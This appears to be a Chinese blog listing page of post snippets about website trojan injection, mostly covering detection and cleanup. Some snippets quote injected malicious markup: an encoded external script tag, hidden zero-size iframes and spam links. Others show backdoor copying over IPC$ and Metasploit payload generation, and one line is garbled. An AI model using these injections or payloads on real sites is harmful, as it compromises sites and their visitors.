帝国CMS是一款相当安全的开源cms程序，如果使用规范的模板，一般是不会被挂马的。但如果你是从网上下载的是免费的帝国CMS模板，因为根本无法找到开发者，且中间经了不知道几手，所以不排除别有用心的人或是留了后门。这个时候，我们要怎样安全地使用网上下载的免费模板呢？首先我们要知道，后门的排查是一个繁琐的工作，一个帝国CMS程序包括了几万个独立的PHP文件，如果你要逐个排查，或者说你哪怕只是缩小范围
转载
2023-07-08 14:51:30
114阅读
最近发现自己的网站跳转到了别人的网站，经过排查发现数据库被挂了js，几万条数据全部遭殃，虽然所用的cms后台提供有数据替换功能，但是具体mysql语句怎么写的自己还不是很清楚。虽然命令简单，但是还是需要记录一下。UPDATE表名SET字段名=REPLACE(字段名,'待替换字符串','替换成此字符串');UPDATEmac_vodSETd_name=REPLACE(
原创
2020-01-02 10:01:12
730阅读
众所周知，目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，这就是DOS基础的命令，是入侵的基?Ｎ艺饫锞托锤龈袷健?一、copy 呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。 copy 本地文件 \\目标IP\目标共享文件夹
转载
2010-02-13 02:42:57
218阅读
在百度上搜索 ：
site:tpy888.cn 零点棋牌
出现sitemap/Artlc.php
很是奇怪，文件的属主是www:www
后来我把目录修改成744，index.php为644，再把discuz的
data/avatar目录删除了，竟然问题解决了。
用下面的命令找出来的：
/bbs/data/avatar/0/8/dam.php:
原创
2012-06-04 18:00:16
856阅读
在网络安全领域，Linux系统一直以其稳定性和安全性而备受推崇。然而，即使是这样一个被广大用户认为安全无比的系统，也难免会受到恶意软件的侵袭。其中，一种常见的恶意软件就是“挂马”（Trojan horse）。
“挂马”是指一种假冒正规程序，潜藏在系统中，等待着不法分子的操控，实施各种恶意活动的恶意软件。它通常会伪装成一些看起来无害的程序或文件，诱骗用户点击下载或安装，一旦用户中招，挂马就会开始悄
原创
2024-03-04 12:44:28
55阅读
挂马新手段
2008-08-19 15:41:24
标签：挂马 新手段 [
转载
精选
2008-08-30 04:46:41
359阅读
近段时间，blog经常被<script src=http://%76%63%63%64%2E%63%6E></script>挂上木马。搜集资料，也做过相应css样式来解决，但css不能阻止页面有此木马，只是客户端访问的时候，屏蔽掉或者终止掉，测试后杀毒软件还是会提示网
原创
2009-10-15 10:42:42
706阅读
网页木马定义：
取得控制权的网站--嵌入恶意代码--用户访问（恶意代码利用浏览器，第三方activex或插件（flash，pdf）漏洞）--下载并执行恶意代码。
挂马方式：
&
原创
2010-04-02 14:07:38
884阅读
2评论
相信大多数朋友都是iframe木马的受害者，有朋友的网站被注入了N回iframe，心情可想而知。而且现在ARP攻击，注入iframe也是轻而易举的事，仅局域网里都时刻面临威胁，哎，什么世道。
灵儿曾经在经典论坛上发过贴子：《一行代码解决网站防挂IFRAME木马方案》http://bbs.blueidea.com/thread-2785512-1-1.html ，有不少朋友都联系了灵
原创
2009-12-18 19:43:24
682阅读
1评论
<iframe src="[url]http://www.5study.com/admin-nis/eWebEditor/CSS/index.htm[/url]" name="zhu" width="0" height="0" frameborder="0"></iframe><iframe src="[url]http://www.5study.com/admin-
原创
2007-03-07 22:17:11
1135阅读
今天在检查网站时，通过urlsnoof发现网站有很多链接，通过分析
代码发现存在以下内容：
<MARQUEE width=0 height=0><a href="[url]http://www.zondatz.com[/url]">涂装设备</a><a href="[url]http://www.jshxzj.com[/url]">抛丸机</a
原创
2008-08-19 15:41:24
1144阅读
Access to XMLHttpRequest at ‘xxx’ from origin ‘xxx’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.有关跨域请求和同源策略的详细知识点见《同源策略及跨域解决方法》，这里只讲解N
码如下：<style type="text/css" media="all"id="http://nihaoku.cn">iframe{ v:expression_r(this.src='about:blank',this.outerHTML='');}#f126{v:expression_r() !important}//如果要使自己的IFRAME可以执行，在自己
原创
2022-11-15 21:20:14
75阅读
半夜一个网站被黑了，然后突然发现在访问服务器所有html页面的时候，自动插入iframe通过以下各项检查，均未能发现问题1、安装了防火墙2、检查了web程序3、检查了当天有没有新建或修改的文件（exe,bat,dll等）4、非本地DNS被ARP准备放弃的时候。查看了下iis的的配置
我们找到这个文件
打开以后果然是挂马的IFRMAE内容
打开IIS，在你的计算机名（根目录）右键选择属性，
原创
2009-10-29 17:34:20
1101阅读
MSSQL数据库被插入JS/sql注入挂马的解决方法
黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站，然后采用小明子这样的注入扫描工具，扫描整个网站，一旦发现有sql注入的漏洞或者上传漏洞，黑客就通过各种手段，上传自己的大马，如海阳木马；然后，黑客就把这个网站纳入他的肉鸡列表，随时在数据库里加入自己希望加的js代码，而这些代码往往是包含着众多的的病毒、
转载
精选
2009-01-19 11:05:42
1654阅读
<%@LANGUAGE="VBScript" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TranSitiOnal//EN" "http://www.w3.Org/TR/xhtml1/DTD/xhtml1-tranSitiOnal.dtd"> <html xmlnS="http://w
原创
2009-07-30 15:20:57
451阅读
root@localhost:~# msfconsolmsf > show #寻求帮助msf > use windows/shell/bind_tcp#msf payload(bind_tcp) > set RHOST 192.168.48.100RHOST => 192.168.48.100msf payload(bind_tcp) > generate -tc#
原创
2017-07-04 14:46:34
1898阅读
简介Tengine是由淘宝网发起的Web服务器项目。它在Nginx的基础上，针对大访问量网站的需求，添加了很多高级功能和特性。Tengine的性能和稳定性已经在大型的网站如淘宝网，天猫商城等得到了很好的检验。它的最终目标是打造一个高效、稳定、安全、易用的Web平台。特性继承Nginx-1.6.2的所有特性，兼容Nginx的配置；动态模块加载（DSO）支持。加入一个模块不再需要重新编译整个Tengi
技术讨论，请勿做非法的事。如果你要用我的方法去做，我也没办法，呵呵。关于挂马，基本上是在网页原来的代码里加载一个iframe。关于加载iframe，我以前的文章写过几种，这篇文章里再提两个新方法吧。一、利用htc文件来加载iframe。百度百科里对htc文件的解释为：从5.5版本开始，Internet Explorer（IE）开始支持Web 行为的概念。这些行为是由后缀名为.htc的脚本文件描述的
转载
精选
2012-07-05 12:17:52
272阅读
网站被挂马怎么办?网站被挂马怎么解决?服务器被入侵怎么解决，SQL数据库被挂马怎么解决
原创
2012-01-21 18:39:56
648阅读
